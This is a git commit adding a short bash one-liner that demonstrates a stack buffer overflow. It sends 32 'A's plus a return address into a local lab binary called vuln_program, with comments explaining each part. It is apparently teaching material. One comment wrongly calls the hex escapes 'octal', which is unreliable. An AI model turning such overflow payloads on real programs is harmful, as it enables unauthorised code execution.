Create one_liner_exploit.sh

buffer_overflow_example/one_liner_exploit.sh

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+#!/bin/bash
+# Simple one-liner script to exploit the vuln_program buffer overflow
+# Author: Omar Santos @santosomar
+# Explanation:
+#  echo -en is used to enable interpretation of backslash escapes and turns off 
+#  the default behavior of the echo command which is to add a newline at the end of the output.
+#  $(for i in {1..32}; do echo -n "A"; done) is a bash command that will iterate 32 times and print 'A' each time without a newline.
+#  $'\x9d\x84\x04\x08' is an octal escape representation that will produce the 4 bytes of hex representation, in this case '\x9d\x84\x04\x08'
+#  This command will output a string of 32 'A's followed by that 4 bytes value.
+#  Note that the echo command in Bash behaves differently across different shells (like bash, zsh, etc) 
+#  and different platforms (like Linux, MacOS, Windows) so the command could produce different results 
+#  depending on the environment where you run it.
+
+
+echo -en $(for i in {1..32}; do echo -n "A"; done)$'\x9d\x84\x04\x08' | ./vuln_program